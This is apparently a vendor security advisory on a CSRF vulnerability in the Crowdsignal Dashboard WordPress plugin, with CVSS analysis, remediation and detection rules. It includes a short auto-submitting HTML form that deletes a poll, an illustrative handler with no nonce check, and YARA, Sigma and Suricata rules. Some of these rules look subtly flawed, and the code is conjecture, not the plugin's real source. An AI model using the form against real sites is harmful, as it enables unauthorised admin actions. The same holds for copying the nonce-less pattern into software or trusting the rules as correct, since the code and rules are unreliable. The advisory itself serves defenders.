CVE-2024-43338

Executive Summary

CVE-2024-43338 is a Cross-Site Request Forgery (CSRF) vulnerability in the Automattic Crowdsignal Dashboard – Polls, Surveys & more WordPress plugin (versions up to and including 3.1.3). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying poll settings, deleting surveys, or changing plugin configurations, without their consent. The vulnerability is classified as a WordPress ecosystem issue, as the plugin operates within the WordPress environment. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available, but the risk remains for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No supply chain compromise has been reported, but the lack of a patch from the vendor (Automattic) increases the risk of malicious actors leveraging this CSRF flaw in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – Limited modification of plugin data is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the lack of a patch and the plugin’s widespread use in WordPress sites make it a viable target for social engineering campaigns.

Deep Dive & Mechanics

The Crowdsignal Dashboard plugin (formerly Polldaddy) integrates polling and survey functionality into WordPress. The CSRF vulnerability arises because the plugin fails to implement proper nonce validation or CSRF tokens on certain administrative actions. Specifically, endpoints that handle poll creation, deletion, or settings changes do not verify that the request originated from the authenticated user’s session.

An attacker can craft a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) that, when loaded by an authenticated administrator, triggers an unintended action. For example, the attacker could delete all polls or change the plugin’s API key, disrupting site functionality.

The vulnerability is present in all versions up to and including 3.1.3. The plugin’s code likely uses wp_nonce_field() inconsistently or omits it entirely for certain actions, allowing cross-origin requests to be processed without verification.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected remediation.

Vulnerable Code (Example from an admin action handler):

function polldaddy_delete_poll() {
    $poll_id = $_GET['poll_id'];
    // No nonce check
    delete_poll_from_database($poll_id);
    wp_redirect(admin_url('admin.php?page=polldaddy'));
}

Patched Code (Expected fix):

function polldaddy_delete_poll() {
    if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'], 'polldaddy_delete_poll')) {
        wp_die('CSRF validation failed.');
    }
    $poll_id = intval($_GET['poll_id']);
    delete_poll_from_database($poll_id);
    wp_redirect(admin_url('admin.php?page=polldaddy'));
}

The patched version adds a nonce check using wp_verify_nonce() and validates the nonce field before processing the request.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Crowdsignal Dashboard plugin <= 3.1.3 installed.
• An authenticated administrator session (victim).
• Attacker-controlled web server or email client.

Exploitation Steps:

1. Identify a vulnerable action, such as deleting a poll via wp-admin/admin.php?page=polldaddy&action=delete&poll_id=123.
2. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint:

   <html>
   <body>
   <form action="http://target-site.com/wp-admin/admin.php?page=polldaddy&action=delete&poll_id=123" method="GET" id="csrf-form">
       <input type="submit" value="Click me">
   </form>
   <script>document.getElementById('csrf-form').submit();</script>
   </body>
   </html>
   

3. Host the page on an attacker-controlled server or send it as an HTML email.
4. Trick the victim (authenticated admin) into visiting the page. The form auto-submits, deleting the poll without the victim’s knowledge.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defense & Detection)

Defensive Measures:

• Implement a Web Application Firewall (WAF) rule to block requests missing a valid nonce parameter.
• Monitor for unusual patterns in admin action requests, especially from unexpected referrers.
• Educate administrators about phishing and social engineering risks.

Detection Steps:

• Review server logs for GET/POST requests to wp-admin/admin.php with page=polldaddy and missing _wpnonce parameter.
• Use browser developer tools to inspect network requests for CSRF tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests to /wp-admin/admin.php?page=polldaddy with action=delete, action=edit, or similar parameters without a _wpnonce field.
  • Referrer headers from unexpected domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified plugin files (e.g., polldaddy.php) with missing nonce checks.
• Log IOCs:
  • Repeated admin action requests from the same IP in a short time frame.
  • 302 redirects to wp-admin/admin.php?page=polldaddy without prior nonce validation.

Detection Engineering

YARA Rule

rule CVE_2024_43338_CSRF_WordPress {
    meta:
        description = "Detects missing nonce checks in Crowdsignal Dashboard plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-43338"
    strings:
        $nonce_check = /wp_verify_nonce/i
        $admin_action = /admin\.php\?page=polldaddy/i
        $delete_action = /action=delete/i
    condition:
        $admin_action and $delete_action and not $nonce_check
}

Sigma Rule

title: Crowdsignal Dashboard CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Crowdsignal Dashboard admin actions without nonce parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-admin/admin.php?page=polldaddy'
        c-uri|contains: 'action='
        c-uri|not_contains: '_wpnonce'
    condition: selection
falsepositives:
    - Legitimate requests with nonce parameter (should be excluded)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43338 Crowdsignal Dashboard CSRF Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/wp-admin/admin.php"; content:"page=polldaddy"; content:"action="; pcre:"/^(?!.*_wpnonce).*$/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Automattic.
2. Implement a WAF rule to block requests to wp-admin/admin.php?page=polldaddy that lack a _wpnonce parameter.
3. Restrict admin access to trusted IPs and enforce strong authentication (e.g., two-factor).

Long-Term Fix:

• Monitor the WordPress plugin repository for an official update (version > 3.1.3).
• Apply the patch manually by adding nonce checks to all admin action handlers in the plugin’s code (see Vulnerable vs. Patched Code section).

Workarounds:

• Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
• Educate administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
Securing Digital Frontiers